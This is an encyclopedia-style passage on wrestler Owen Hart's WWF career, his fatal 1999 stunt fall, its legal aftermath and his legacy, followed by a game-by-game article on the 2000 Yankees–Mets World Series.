Bret tried to make amends with Owen, teaming with him on a regular basis. Bret even secured the two a shot at the WWF Tag Team Championship. They faced the Quebecers for the title at the Royal Rumble in January 1994. Initially everything was fine between the brothers, but when Bret hurt his knee (kayfabe) and was unable to tag Owen in for a long period of time, the younger Hart got frustrated. When the referee stopped the match due to Bret's damaged knee, Owen snapped; he kicked his brother in the knee and then walked off, berating Bret on the Titantron shortly after as Bret was being helped backstage. This started his run as a heel. After the act, an infuriated Owen accused his brother of being selfish and holding him down. Owen admitted that it felt good to take out his brother. The two brothers faced off for the first time at WrestleMania X, where Owen cleanly pinned his older brother. Later in the evening, Bret won the WWF Championship against Yokozuna while Owen stood by and watched in anger and jealousy as Bret celebrated in the ring. Owen won the 1994 King of the Ring tournament turning back Razor Ramon in the finals with an elbow drop to the back and with an assist from Jim Neidhart. After the victory, Owen dropped "The Rocket" nickname and took the nickname "The King of Harts."
Owen and Bret feuded throughout the summer of 1994, clashing many times both in singles and later in tag team matches (with Bret joined by the returning British Bulldog). Two prominent matches took place in this feud: first, their steel cage match in the co-main event of SummerSlam for Bret's WWF Championship, which Bret won. This match later received a five-star rating from Dave Meltzer. The second was a lumberjack match on August 17 that Owen initially won and was announced as WWF Champion; Bret won the match after it was ordered to continue due to interference. At the Survivor Series, Owen struck the most damaging blow against his brother as he conned his own mother Helen to throw in the towel for Bret. The ploy cost Bret the WWF Championship to Bob Backlund. Owen also prevented Bret from regaining the WWF Championship at the Royal Rumble in 1995 when he interfered in the match between Bret and new champion Diesel. In the weeks after the Royal Rumble, Bret and Owen clashed again with Bret soundly defeating his brother, thus putting an end to their feud for the time being.
Camp Cornette; Tag Team Champion (1995–1997)
Owen rebounded from the loss to Bret by winning the WWF Tag Team Championship from The Smoking Gunns at WrestleMania XI. Owen, who was joined by a "Mystery Partner", had challenged the Gunns to a title match; the partner turned out to be former world champion Yokozuna. After the victory Owen took Jim Cornette and Mr. Fuji as his managers, who already managed Yokozuna. The team defended the title for five months until they lost them to Shawn Michaels and Diesel at In Your House 3. They would briefly hold the title a second time when the belts were handed back to them before the Smoking Gunns regained the title. Owen and Yokozuna would continue to team off and on until the end of the year.
In 1995, Owen's brother-in-law Davey Boy Smith turned heel and joined the Camp Cornette stable. During the summer of 1996 the two brothers in law started to team up more and more, sometimes alongside Vader who was also a member of Camp Cornette. Owen also won a Slammy Award for injuring Shawn Michaels and began using the nickname "Slammy Award Winner" and the "King of Harts" nickname was rarely used, Owen was also a color commentator for the 1996 King of the Ring (exhibiting clear partisan support for Vader and Smith) and during this time wore a cast on his right forearm for several months, feigning a nagging injury to subsequently use his cast as a weapon during his matches.
In September 1996, Bulldog and Hart earned a pay-per-view shot at the tag team titles at In Your House 10. Owen and Bulldog left with the gold after defeating the Smoking Gunns. They also left with a new manager as Clarence Mason had conned Jim Cornette into signing over the contracts of the new champions. Signs of dissension, however, slowly started to show. One occasion where this was evident was at the Royal Rumble when Hart accidentally eliminated Bulldog. After the Rumble, they had miscommunication in matches against Doug Furnas and Phil LaFon and Bulldog fired Mason after losing a match to Crush who was also managed by Mason, something which did not sit well with Hart. Another bone of contention between the two was the newly created WWF European Championship; both men had fought their way to the finals to crown the first champion with Bulldog coming out as the victor.
After retaining the tag team title against the Headbangers by disqualification on the edition of March 24, 1997 of Monday Night Raw, the tension between the two bubbled over. An incensed Hart demanded a shot at Bulldog's European title the next week. The match was booked for March 31; on the night, the two went at it with such intensity that many thought the tag team champions had finally gone their separate ways. Then in a shocking moment, the recently turned heel Bret Hart appeared at ringside and stopped the match. Bret appealed to both Owen and Bulldog, talking about the importance of family. They agreed to put their differences aside and join with Bret to form the new Hart Foundation, an anti-American stable that also included Hart in-law Jim Neidhart and Hart family friend Brian Pillman.
Hart Foundation (1997)
After forming the Hart Foundation, Owen quickly gained singles gold of his own as he pinned Rocky Maivia to win his first WWF Intercontinental Championship. This meant that the Hart Foundation held every WWF title except the WWF Championship, cementing their dominance over the federation. It was not all success for Owen, though, as he and the British Bulldog lost the WWF Tag Team Championship to Stone Cold Steve Austin and Shawn Michaels on May 26, 1997. He began feuding with Austin shortly thereafter.
Owen and Bulldog got a second chance at regaining the tag team titles after Michaels vacated his half of the championship due to an injury. On the edition of July 14, 1997 of Raw the two entered a tournament and won to face Austin and a partner of his choice that evening for the vacant titles. That partner turned out to be Dude Love, who declared himself to be Austin's partner and helped him defeat Hart and Bulldog for the tag team championship.
At SummerSlam in August, Hart was to defend his Intercontinental Championship against Austin in a "Kiss My Ass" match, where Hart put the title up against Austin having to kiss his buttocks if he lost. During the match, Hart botched a piledriver and dropped Austin on the top of his head, injuring his neck. Austin won the title from Hart that evening, but due to the injury was forced to vacate the title. Although the entire situation was an accident, the WWF decided to make it part of the storyline as Owen began wearing a T-shirt patterned after Austin's that read "Owen 3:16/I Just Broke Your Neck". Hart was then entered into a tournament to crown a new champion.
Hart fought his way to the finals of the tournament to crown the next Intercontinental Champion and was set to face Faarooq at Badd Blood: In Your House. Owen beat Faarooq with Austin's help. Afterward, Austin explained that he wanted to beat Hart for the title when he returned and would not allow Faarooq or anyone else to beat him. After Hart retained the title twice by disqualification between Bad Blood and Survivor Series in Montreal, Austin got his wish and defeated Hart for the Intercontinental Championship again. Later that night, the Montreal Screwjob took place. Bret left the WWF after Survivor Series and both the British Bulldog and Jim Neidhart were granted quick releases from their contracts to jump to WCW. This left Owen as the only Hart family member remaining in the WWF, due to his contractual obligations.
The Black Hart; Nation of Domination (1997–1998)
Hart was not seen or mentioned on WWF programming until he made a surprise appearance after Shawn Michaels retained his title following a disqualification loss to Ken Shamrock at In Your House: D-Generation X where he attacked Shawn Michaels. Now a fan favourite, but with a new edgy, antisocial attitude, Hart became known as "The Lone Hart" and also "The Black Hart". Owen had a feud with D-Generation X (DX) and challenged Shawn Michaels for the WWF Championship on the December 29, 1997 episode of Raw Is War: Hart had Michaels locked in the Sharpshooter when Triple H interfered in order to save Michaels' title, giving Hart the victory by disqualification. He later won the European title from Triple H, although not directly. Goldust dressed up as Triple H in an attempt to swerve Hart, but Commissioner Slaughter considered him to be a legitimate replacement. Hart later suffered a kayfabe ankle injury during a match against Barry Windham involving Triple H. When Hart joined the commentary at ringside, Triple H managed to draw Owen into an impromptu title match and regained the title. Chyna interfered while the referee wasn't looking and while Triple H was distracting the referee, she struck Hart behind the left knee with a baseball bat, picked him up and threw him back into the ring where Triple H put Hart in a reverse ankle lock to his injured right ankle to win the European Championship under referees discretion in controversial fashion.
Four weeks after WrestleMania, during a tag team match with Ken Shamrock against Mark Henry and Rocky Maivia (later known as The Rock), Hart turned on Shamrock, "snapping" his ankle and "biting his ear" in the process, and becoming a heel once again. After the attack on Shamrock, Hart became the co-leader, with The Rock, of the Nation of Domination, claiming that "Enough is enough and it's time for a change". The Nation's first big feud after Hart joined was against DX. It was during this feud that D-Generation X parodied the Nation of Domination. The imitation was complete with an actor dressing up as Hart and uttering the phrase "I am not a nugget"; this was in response to Shawn Michaels referring to Owen as a nugget of feces in a toilet bowl that, no matter how many times Michaels flushed, he was unable to get rid of. "Nugget" became a derisive term that followed Hart for the rest of his career. Hart's participation in the DX feud was sidetracked when Shamrock returned from injuries dead set on getting revenge on Hart. The two split a pair of specialty matches on pay-per-view, but nothing was ever conclusively settled between them.
Teaming with Jeff Jarrett; the Blue Blazer (1998–1999)
Hart remained with the Nation throughout the year until the stable slowly dissolved. After SummerSlam, he teamed with Jeff Jarrett. Hart and Jarrett had Jarrett's manager Debra in their corner. During this time a storyline was proposed that Hart was supposed to have an on-screen affair with Debra, something which Owen turned down.
After a match in which Hart "accidentally injured" Dan Severn, Hart seemingly quit the WWF. Playing off the legitimate injury Hart had inflicted on Austin the year before, the angle blurred the lines between reality and "storyline." Yet as soon as Hart "quit," the Blue Blazer appeared in the WWF claiming to in no way be Hart despite it being very obvious who was under the mask. Unlike the first run of the character, the Blazer was now an overbearing, self-righteous heel who treated the edgy Attitude Era WWF with disdain. Hart and Jarrett ended up making the storyline comical. To prove that Hart was not the Blazer, he showed up beside the Blue Blazer, who was a masked Jarrett. In a later attempt to prove that neither Hart or Jarrett was the Blazer, they both appeared next to a man in the Blue Blazer mask; however, it was obvious that a black man was under the mask (Hart's former tag team partner Koko B. Ware). On January 25, 1999, in the midst of the Blue Blazer angle Hart and Jarrett defeated Ken Shamrock and The Big Boss Man for the WWF Tag Team Championship. The pair successfully defended the belts against Test and D'Lo Brown at WrestleMania XV. They lost the titles to the team of Kane and X-Pac on the (pre-taped) episode of Raw that aired on April 5, 1999. However, Hart and Jarrett continued to team together until Hart's death in May during the Over the Edge pay-per-view event.
Personal life
Hart met Martha Joan Patterson in 1982. They married on July 1, 1989 and had two children together: Oje Edward Hart (born March 5, 1992) and Athena Christie Hart (born September 23, 1995).
On May 28, 2011, Hart was inducted into the Legends Pro Wrestling "Hall of Fame" by Jack Blaze in Wheeling, West Virginia at their "LPW Hart & Soul Tour" event. The award was accepted by his brother-in-law Jim Neidhart, who was also inducted that night.
Death
Over the Edge 1999
On May 23, 1999, Hart fell to his death in Kansas City, Missouri, during the Over the Edge pay-per-view event. Hart was in the process of being lowered via harness and grapple line into the ring from the rafters of Kemper Arena for a booked Intercontinental Championship match against The Godfather. In keeping with the Blazer's new "buffoonish superhero" character, he was to begin a dramatic entrance, being lowered to just above ring level, at which time he would act "entangled", then release himself from the safety harness and fall flat on his face for comic effect—this necessitated the use of a quick release mechanism. It was an elaboration on a Blue Blazer stunt done previously on the Sunday Night Heat before Survivor Series in 1998. While being lowered into the ring, Hart fell 78 feet (24 m), landing chest-first on the top rope (approximately a foot from the nearest turnbuckle), throwing him into the ring.
Hart had performed the stunt only a few times before. Hart's widow Martha has suggested that, by moving around to get comfortable with both the harness and his cape on, Hart unintentionally triggered an early release. Television viewers did not see the incident. During the fall, a pre-taped vignette was being shown on the pay-per-view broadcast as well as on the monitors in the darkened arena. Afterward, while Hart was being worked on by medical personnel inside the ring, the live event's broadcast showed only the audience. Meanwhile, WWF television announcer Jim Ross repeatedly told those watching live on pay-per-view that what had just transpired was not a wrestling angle or storyline and that Hart was hurt badly, emphasizing the seriousness of the situation. Hart was transported to Truman Medical Center in Kansas City. While several attempts to revive him were made, he died due to his injuries. The cause of death was later revealed to be internal bleeding from blunt force trauma. The impact severed his aorta, resulting in Hart bleeding to death just minutes later; he was 34 years old.
Controversy
WWF management controversially chose to continue the event. Later, Jim Ross announced the death of Hart to the home viewers during the pay-per-view, but not to the crowd in the arena. While the event went on, it has never been released commercially by WWF Home Video. In 2014, fifteen years after his death, the WWE Network aired the event for the first time. A small photo tribute is shown before the start informing fans that Hart died during the original broadcast. All footage of Hart was edited out of the event. The statement reads: "In Memory of Owen Hart May 7, 1965 – May 23, 1999 who accidentally passed away during this broadcast."
In the decades that followed Hart's death, much attention was focused on the harness Hart used that night, especially on the "quick release" trigger and safety latches. When someone is lowered from the rafters in a harness, there are backup latches that must be latched for safety purposes. Four weeks after the event, the Hart family sued the WWF over how dangerous and poorly planned the stunt was, and alleging that the harness system was defective. After over a year and a half into the case, with the help of Pamela Fischer, a settlement was reached on November 2, 2000, which saw the WWF pay the Hart family US$18 million. The manufacturer of the harness system was also a defendant against the Hart family, but they were dismissed from the case after the settlement was reached. Martha used millions of the settlement to establish the Owen Hart Foundation. Martha wrote a book about Hart's life in 2002 called Broken Harts: The Life and Death of Owen Hart.
In his DVD set, Bret Hart said that he wishes he had been with the WWF the night Owen's accident happened, as he would have discouraged his brother from performing the stunt.
Aftermath
A special episode of Raw Is War that aired on May 24, 1999, the night after Hart's death, was dubbed Raw Is Owen. It was broadcast live from the Kiel Center in St. Louis. It included shoot interviews from his fellow wrestlers. According to Raw Exposed (a special that aired upon Raw returning to USA Network on October 3, 2005), all storylines and rivalries were put aside, and WWF management gave all wrestlers on the roster the option of working or not. Nevertheless, ten matches were booked with no angles.
The show began with all the wrestlers, managers, referees and agents of the WWF (except WWF Champion The Undertaker and Kane – both as a means to keep kayfabe) standing on the entrance ramp. Howard Finkel called for a ten-bell salute. A tribute video narrated by Vince McMahon then played on the Titantron. Throughout the broadcast, personal thoughts on Hart in the form of shoot interviews with various WWF wrestlers were played. Hart's former Nation of Domination comrades were emotional, most notably Mark Henry, who wept as he read a poem that he wrote in memory of Hart. Before the first commercial break, such thoughts were aired from Mick Foley and Bradshaw. Foley said that Hart was his son's favourite wrestler and had proudly gotten a haircut like Owen's, although he also said his son did not quite understand that "nugget" was not a term of endearment.
Bradshaw talked about how Hart spent less money on the road than most wrestlers because he wanted to retire early and spend time with his family. Owen's friend and Nation of Domination partner The Rock also made a short speech before engaging in a short match against Val Venis. Test then spoke about a rib Owen pulled on him. The broadcast ended with Stone Cold Steve Austin coming out for a special salute to Hart by climbing the turnbuckle and performing his famous "beer-bash" routine, ending with him giving a toast to Owen (whose picture was displayed on the Titantron throughout the entire show) and leaving one beer in the ring (for Owen). The tribute show scored a 7.2 Nielsen rating, making it the highest-rated special episode in Raw history and the third highest-rated episode of Raw overall. Shawn Michaels, in his Heartbreak and Triumph autobiography, notes that "Owen is the only guy you could have a two-hour show for, and no-one would say a bad word about him." The next day, WWF taped the episode of Raw for May 31, 1999. During that show, Jeff Jarrett defeated The Godfather to win the WWF Intercontinental Championship, the title Hart was booked to win for a third time at Over the Edge. Celebrating his victory, Jarrett screamed Hart's name.
On October 4, 1999, five months after Owen's death, Bret Hart faced Chris Benoit on WCW Nitro in a tribute to his brother. The match took place in the same arena in which Owen had fallen to his death.
In 2017, Ross referred to Hart's death as the single most shocking moment he had ever witnessed in wrestling.
Legacy
Hart was widely regarded as one of the best in-ring performers in the WWE; Fox Sports dubbed him a "genius". He would go on to be considered one of the greatest professional wrestlers of all time by many industry colleagues.
In 2001, Hart's sister Diana released her first book named Under the Mat which dealt with their family. The book was written partially in response to Owen's death and became very controversial. Owen's widow Martha Hart pursued legal action over the work and claimed that Diana made inaccurate and irresponsible statements about her and her family. She stated that the book was "filled with distortions, misstatements and unjustified slurs that attempt to destroy the reputation of my family and me, and undermine the memory of Owen."
In June 2010, Martha filed a lawsuit against the WWE over WWE's use of Owen's name and likeness as well as personal photos of Hart's family in the Hart & Soul WWE DVD, as well as the failure to make royalty payments. The matter was scheduled to go to trial in June 2013 before the settlement was reached in April 2013 for an undisclosed amount.
The WWE released Owen: Hart of Gold on DVD and Blu-ray on December 7, 2015 in the United Kingdom, with the United States release the day after.
The season two finale of Dark Side of the Ring revealed details about Owen's wrestling career, legacy and death.
WWE wrestler Kevin Owens named his son after Hart and incorporated the name into his own ring name as tribute to both of them.
During Mark Henry's WWE Hall of Fame induction in 2018, Henry asked Martha Hart to allow her late husband to be inducted into the Hall of Fame. Martha has been critical of the WWE Hall of Fame, stating: "They don't even have a Hallway of Fame. It doesn't exist. There's nothing. It's a fake entity. There's nothing real or tangible. It's just an event they have to make money. They put it on TV and have a celebration, and it's just so ridiculous. I would never even entertain it. It's garbage."
On September 20, 2021, All Elite Wrestling (AEW) announced the Owen Hart Cup Tournament, in partnership with the Owen Hart Foundation, wherein the winner will receive a trophy called "The Owen". The company also announced production and distribution of original Owen Hart merchandise and Hart as a character in AEW's upcoming console game, AEW Fight Forever.
Championships and accomplishments
George Tragos/Lou Thesz Professional Wrestling Hall of Fame
Class of 2018 (Posthumous Inductee)
Legends Pro Wrestling
LPW Hall of Fame (Class of 2011)
Prairie Wrestling Alliance
Prairie Wrestling Alliance Hall of Fame (Class of 2010)
New Japan Pro-Wrestling
IWGP Junior Heavyweight Championship (1 time)
Pro Wrestling Illustrated
Editor's Award (1999)
Feud of the Year (1994)
Rookie of the Year (1987)
Ranked No. 10 of the top 500 singles wrestlers in the PWI 500 in 1994
Ranked No. 66 of the top 500 singles wrestlers of the "PWI Years" in 2003
Ranked No. 84 of the top 100 tag teams of the "PWI Years" in 2003 – with Davey Boy Smith
Professional Wrestling Hall of Fame
Class of 2019
Pro Wrestling This Week
Wrestler of the Week (July 5–11, 1987)
Canadian Wrestling Hall of Fame
Individually
With the Hart family
Stampede Wrestling
Stampede British Commonwealth Mid-Heavyweight Championship (1 time)
Stampede Wrestling International Tag Team Championship (1 time) – with Ben Bassarab
Stampede North American Heavyweight Championship (2 times)
Stampede Wrestling Hall of Fame (Class of 1995)
United States Wrestling Association
USWA Unified World Heavyweight Championship (1 time)
World Wrestling Federation
WWF European Championship (1 time)
WWF Intercontinental Championship (2 times)
WWF Tag Team Championship (4 times) – with Yokozuna (2), The British Bulldog (1) and Jeff Jarrett (1)
King of the Ring (1994)
Madison Square Garden Royal Rumble (1994)
WWF World Tag Team Championship Tournament (1997) – with The British Bulldog
WWF Intercontinental Championship Tournament (1997)
Slammy Award (3 times)
Biggest Rat (1994)
Squared Circle Shocker (1996)
Best Bow Tie (1997)
Wrestling Observer Newsletter
Best Flying Wrestler (1987, 1988)
Feud of the Year (1997)
Luchas de Apuestas record
See also
Deaths in sports
Hart wrestling family
List of premature professional wrestling deaths
Notes
References
Further reading
External links
Owen Hart's Funeral
Bret Hart column mentioning he and Owen holding dual citizenship at the Wayback Machine (archived March 5, 2016)
1965 births
1999 deaths
Accidental deaths from falls
Accidental deaths in Missouri
Canadian male professional wrestlers
Canadian people of American descent
Canadian people of English descent
Canadian people of Greek descent
Canadian people of Ulster-Scottish descent
Expatriate professional wrestlers in Japan
Canadian expatriate professional wrestlers in the United States
Filmed deaths in sports
Hart family members
IWGP Junior Heavyweight champions
Masked wrestlers
Professional wrestlers from Calgary
Professional wrestling deaths
Professional Wrestling Hall of Fame and Museum
Sports deaths in Missouri
Stampede Wrestling alumni
Stampede Wrestling British Commonwealth Mid-Heavyweight Champions
Stampede Wrestling International Tag Team Champions
Stampede Wrestling North American Heavyweight Champions
Hart Foundation members
Nation of Domination members
USWA Unified World Heavyweight Champions
WWF European Champions
WWF/WWE Intercontinental Champions
WWF/WWE King's Crown Champions/King of the Ring winners
World Tag Team Champions (WWE)
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https://en.wikipedia.org/wiki/2000%20World%20Series
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2000 World Series
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The 2000 World Series was the championship series of Major League Baseball's (MLB) 2000 season. The 96th edition of the World Series, it was a best-of-seven playoff between crosstown opponents, the two-time defending World Series champions and American League (AL) champion New York Yankees and the National League (NL) champion New York Mets. The Yankees defeated the Mets, four games to one, to win their third consecutive championship and 26th overall. The series was often referred to as the "Subway Series", referring to the longstanding matchup between New York baseball teams; it was the first World Series contested between two New York teams since the 1956 World Series and the first since the New York Giants and the Brooklyn Dodgers moved west to California (as the current San Francisco Giants and Los Angeles Dodgers, respectively) in 1958 and the subsequent formation of the Mets in 1962. This World Series that featured teams from the same city or state, was the first of its kind since 1989 between the Oakland Athletics and the San Francisco Giants. Yankees shortstop Derek Jeter was named the World Series Most Valuable Player.
The Yankees advanced to the World Series by defeating the Oakland Athletics, three games to two, in the AL Division Series, and then the Seattle Mariners, four games to two, in the AL Championship Series; it was the third consecutive season the Yankees had reached the World Series, the fourth time in the past five years, and the 37th overall, making it the most of any team in MLB. The Mets advanced to the World Series by defeating the San Francisco Giants, three games to one, in the NL Division Series, and then the St. Louis Cardinals, four games to one, in the NL Championship Series; it was the team's fourth World Series appearance, making it the most of any expansion franchise in MLB and the Mets' first appearance since winning the 1986 World Series.
The Yankees were the first team in baseball to win three consecutive championships since the 1972–1974 Oakland Athletics, and the second North American professional sports team in five years to accomplish the feat after the 1996–1998 Chicago Bulls. As of 2023, this remains the last World Series with a repeat champion.
Background
New York Yankees
Although the Yankees were in the midst of a dynasty and not far removed from their dominant 114-win 1998 season, the 2000 season was their weakest performance since 1995. They won just 87 games in the regular season and lost 15 of their last 18.
Nonetheless, strong seasons by Jorge Posada, Derek Jeter, Bernie Williams, and Mariano Rivera were enough to secure the AL East by 2.5 games and the third seed in the American League. In the postseason, they defeated the #2 seed Oakland Athletics in the AL Division Series 3–2 and the fourth-seeded Seattle Mariners in the AL Championship Series 4–2 to reach the World Series. At the time, they were just the fourth team since 1960 to make the World Series after winning fewer than 90 games in the regular season.
New York Mets
Highlighted by MVP-caliber seasons from Edgardo Alfonzo and Mike Piazza as well as strong pitching performances from Al Leiter and Mike Hampton, the New York Mets won 94 games in the regular season. While it wasn't enough to win the NL East from their rival in the Atlanta Braves (who had 95 wins), the Mets won the Wild Card spot by eight games. By winning the 1999 and 2000 Wild Card, the Mets achieved their first back-to-back post-season appearances in franchise history, a feat they would match in 2015 and 2016.
The fourth-seeded Mets defeated the overall #1 seed San Francisco Giants in the NL Division Series, 3–1, and the second-seeded St. Louis Cardinals, 4–1, in the NL Championship Series. The 2000 World Series was the first World Series appearance for the Mets since their championship in 1986 and their second post-season appearance since 1988.
This series marked the second year in a row that a World Series matchup would be a repeat from the regular season. The Yankees had beaten the Mets 4–2 in six games from June 9–10 and July 7–9 (including a double header on July 8). This was also the very first time a World Series champion would beat the World Series loser in both the regular season and the World Series.
Summary
Matchups
Game 1
The American national anthem was sung by Billy Joel. The opener fell on two anniversaries. Twenty-five years prior, Boston Red Sox catcher Carlton Fisk ended Game 6 of the 1975 World Series with his famous home run off the left-field foul pole at Fenway Park to beat the Cincinnati Reds and force a Game 7. Twenty years prior, the Philadelphia Phillies won their first World Series title, defeating the Kansas City Royals in six games.
Game 1 was a match-up between postseason veterans Al Leiter and Andy Pettitte. Pettitte had been with the Yankees for each of their previous three World Series appearances to this point, while Leiter had won world championship as a member of the 1992 and 1993 Toronto Blue Jays teams and the 1997 Florida Marlins.
The two teams engaged in a scoreless tie with neither squad threatening much. Then in the sixth, with two outs and rookie Timo Perez in scoring position, Mets first baseman Todd Zeile hit a deep fly to left field. Perez misjudged the ball, thinking it was going to clear the fence, but it hit the top of the wall and bounced back into the field of play. Since it had not gone into the stands, the ball was still live and Yankees left fielder David Justice was able to relay the ball back to the infield just as Perez, who had been running at a trotting speed, was rounding third base. The relay from Derek Jeter to Jorge Posada easily beat Perez to the plate, and instead of scoring the first run of the game the Mets ended the sixth with nothing. Justice then responded in the bottom half of the inning with a double that scored Jeter and Chuck Knoblauch to give the Yankees a 2–0 lead.
In the top of the seventh inning, the Mets loaded the bases against Pettitte with one out on two singles and a walk before Bubba Trammell tied the game with a two-run single to left. After Timo Perez's sacrifice bunt moved up the runners, Jeff Nelson relieved Pettitte and allowed an RBI single to Edgardo Alfonzo to put the Mets on top. John Franco relieved Leiter in the eighth and held the Yankees in check, while Mariano Rivera staved off a rally in the top of the ninth to keep the score at 3–2.
Looking to secure the victory, the Mets called upon their closer, Armando Benítez, to finish the game. Benítez had had some trouble against the Yankees in the past, having faced them often as a member of the Baltimore Orioles, and this time would prove no different. After retiring the first batter he faced, Benitez walked Paul O'Neill. Pinch hitter Luis Polonia followed with a single, as did Jose Vizcaino, loading the bases. Knoblauch then drove in O'Neill with a sacrifice fly to tie the game. Benitez recovered to strike out Jeter for the last out, ensuring the game would require extra innings to decide.
Rivera retired the Mets in order in the tenth, and the Yankees got another chance to win the game when Justice and Bernie Williams drew walks against Dennis Cook to lead off the bottom half. Glendon Rusch then came in and threw a wild first pitch, which enabled the baserunners to advance into scoring position. Rusch then got Tino Martinez to pop out, and after walking Posada he managed to escape further damage by inducing an inning ending double play from O'Neill.
Mike Stanton, the Yankees' left-handed relief specialist, entered the game in the eleventh and set the Mets down in order again. Rusch took the mound again for the Mets and retired Luis Sojo to lead off the inning. He walked Vizcaino, then got Knoblauch to pop out. Jeter drew a walk, but ball four got away from Todd Pratt and the runners advanced to second and third. Rusch then left in favor of Turk Wendell, who retired pinch hitter Glenallen Hill on a fly ball to keep the game going.
After Stanton once again retired the side in order in the twelfth, Wendell came out to try and keep the Yankees from scoring. With one out, back to back hits by Martinez and Posada put both men in scoring position and brought O'Neill to the plate. Wendell put him on intentionally, then got Sojo to pop out to Pratt for the second out. This time, he would not get out of the inning as Vizcaino lined a single into left field to drive in Martinez to give the Yankees a 4–3 win.
Game 2
The American national anthem was sung by Robert Merrill. Roger Clemens started for the Yankees. Earlier in the year, during Interleague play, Clemens had hit Mets catcher Mike Piazza in the head with a fastball that resulted in a concussion and Piazza going on the disabled list. Early in Game 2, during Piazza's first time up, a Clemens pitch shattered Piazza's bat. The ball went foul, but a sharp edge of the bat came towards Clemens. He came off the mound and threw the bat towards the baseline, almost hitting the running Piazza. Piazza appeared baffled by Clemens' actions, but both benches cleared as a physical altercation nearly ensued. After the game, Clemens would say he did not see Piazza running and threw the bat because he was pumped up with nervous energy and initially charged the incoming broken bat, believing it to be the ball.
The Yankees struck in the bottom of the first when Mets starter Mike Hampton walked two with two outs before RBI singles by Tino Martinez and Jorge Posada put them up 2–0. Scott Brosius's leadoff home run next inning made it 3–0. Martinez doubled in the fifth and, after an intentional walk, scored on Paul O'Neill's single. In the seventh, reliever Glendon Rusch allowed a one-out single to Posada and subsequent double to O'Neill. Rick White relieved Rusch and allowed a sacrifice fly to Brosius. In the eighth, Derek Jeter doubled with one out off of White, who was relieved by Dennis Cook and allowed an RBI single to Martinez. Clemens pitched eight shutout innings, allowing just two hits (both singles by Todd Zeile) while striking out nine. In the ninth, Jeff Nelson relieved Clemens and allowed a leadoff single to Edgardo Alfonzo before Piazza homered to make it 6–2. After Robin Ventura singled, Mariano Rivera relieved Nelson. He retired Zeile, allowed a single to Benny Agbayani and then, after Lenny Harris hit into a force-out at home, Jay Payton's three-run home run cut the Yankee lead to 6–5. Rivera struck out Kurt Abbott looking to end the game, and give the Yankees a 2–0 series lead heading to Shea Stadium.
The Yankees' Game 2 win tied the longest AL winning streak in the World Series at ten games (the AL had previously won ten straight 1927–29 and again 1937–40).
Game 3
The American national anthem was sung by NSYNC. In Game 3, Robin Ventura's leadoff home run in the second off of Orlando Hernandez gave the Mets a 1–0 lead, but the Yankees tied it in the third when Derek Jeter singled with two outs off of Rick Reed and scored on David Justice's double. Next inning, Tino Martinez hit a leadoff single and scored on Paul O'Neill's one-out triple, but the Mets tied the game in the sixth when Mike Piazza hit a leadoff double and after a walk, scored on Todd Zeile's double. In the eighth, Zeile singled with one out and scored on Benny Agbayani's double. After Jay Payton singled, Mike Stanton relieved Hernandez and allowed a sacrifice fly to Bubba Trammell to pad the Mets lead. Closer Armando Benitez pitched a scoreless ninth despite allowing a leadoff single to Chuck Knoblauch as the Mets' 4–2 win ended the Yankees' fourteen-game winning streak in World Series play dating back to the 1996 World Series.
Yankee hurler Orlando "El Duque" Hernandez earned the loss, snapping his previous undefeated postseason record of 6–0.
Game 4
The American national anthem was sung by Sheryl Crow. Before Game 4, some analysts felt the tide had changed, that the Mets (down 2–1 in the Series) were now geared with enough momentum to make a comeback. That momentum lasted only until the first pitch from Mets starter Bobby Jones, which Jeter hit far into Shea Stadium's left-field bleachers. It was the 16th leadoff homer in World Series history, also extending a 13-game hitting streak in the World Series for Jeter. The Yankees added to their lead when Paul O'Neill tripled with one out in the second and after an intentional walk, scored on Scott Brosius's sacrifice fly. In the third, Jeter hit a leadoff triple and scored on Luis Sojo's groundout. Mike Piazza's two-run home run off of Denny Neagle cut the Yankees' lead to 3–2, but neither team would score after that. The Yankees secured a dominant 3–1 lead in the Series, with elite pitchers Andy Pettitte and Roger Clemens poised for Games 5 and 6 (if necessary). With this win, the Yankees had effectively killed all hope for the Mets.
A now-iconic moment in Yankees lore, footage of Jeter's leadoff home run, currently serves as the background for the title screen of YES Network's Yankeeography series.
Game 5
The American national anthem was sung by Marc Anthony. Looking to clinch, the Yankees scored first on a Bernie Williams home run in the second inning. In the bottom half, however, with runners on second and third and two outs, Andy Pettitte's fielding error on Al Leiter's bunt attempt allowed the Mets to tie the score. Benny Agbayani's RBI single then put them up 2–1. In the top of the sixth inning, Derek Jeter homered to tie the game at 2–2.
The Series effectively ended in the top of the ninth. Mets ace Al Leiter had a pitch count that was approaching 140, but manager Bobby Valentine insisted that he would live or die with Leiter. After striking out Tino Martinez and Paul O'Neill, Leiter walked Jorge Posada and allowed a single to Scott Brosius. Yankees infielder Luis Sojo then singled to center, and the throw from center fielder Jay Payton hit Posada as he was sliding into home plate. The ball went into the Yankees' dugout. Bottom of the 9th inning, Mets' slugger Mike Piazza hit a fly ball off Mariano Rivera with two outs and a runner on third. Many thought the ball was a home run. Yankees manager Joe Torre said of the last at-bat:
It was probably the most scared I've been when Mike hit that ball ... I screamed, "No!" Because any time he hits a ball in the air, it's a home run in my mind. I saw Bernie trotting over for that. I said, "Wow! I guess I misread that one."
Yankees catcher Jorge Posada similarly said, years later:
I remember it was a loud sound ... It was a pitch that got too much of the plate. It was supposed to be inside. I remember the swing, I remember Mo's reaction. And then I looked at the ball and I see Bernie running after it, and then he stopped. And I'm like, O.K., we're good.
However, Bernie Williams, after the game, with champagne pouring over him, said, "I knew right away ... I knew he didn't hit it." Likewise, Mariano Rivera in his last season (2013) was asked if he thought Piazza had hit a home run and answered, "No ... He didn't hit it with the sweet spot."
Game 5 was the final World Series game at Shea Stadium (, , and 2000). This would also be the only time that visiting teams won a World Series at Shea Stadium (the Mets lost in 1973 in Oakland). This World Series provided some measure of revenge for Roger Clemens. He won the World Series in the same stadium he lost it at in 1986 while with the Yankees' fierce rival, the Boston Red Sox. Incidentally, members of the 1986 Mets World Series team threw out the ceremonial first pitch before the game.
Composite box
2000 World Series (4–1): New York Yankees (A.L.) over New York Mets (N.L.)
The winning margin of three runs was the second-lowest for a five-game series; the 1915 margin was two runs, and five runs in 1933, 1942, and 1974.
Aftermath
2000 would be the last World Series title the Yankees would win for nine years, though they would remain competitive each year. They lost the 2001 World Series to the Arizona Diamondbacks in a classic seven game series, and the 2003 World Series to the Florida Marlins in six games.
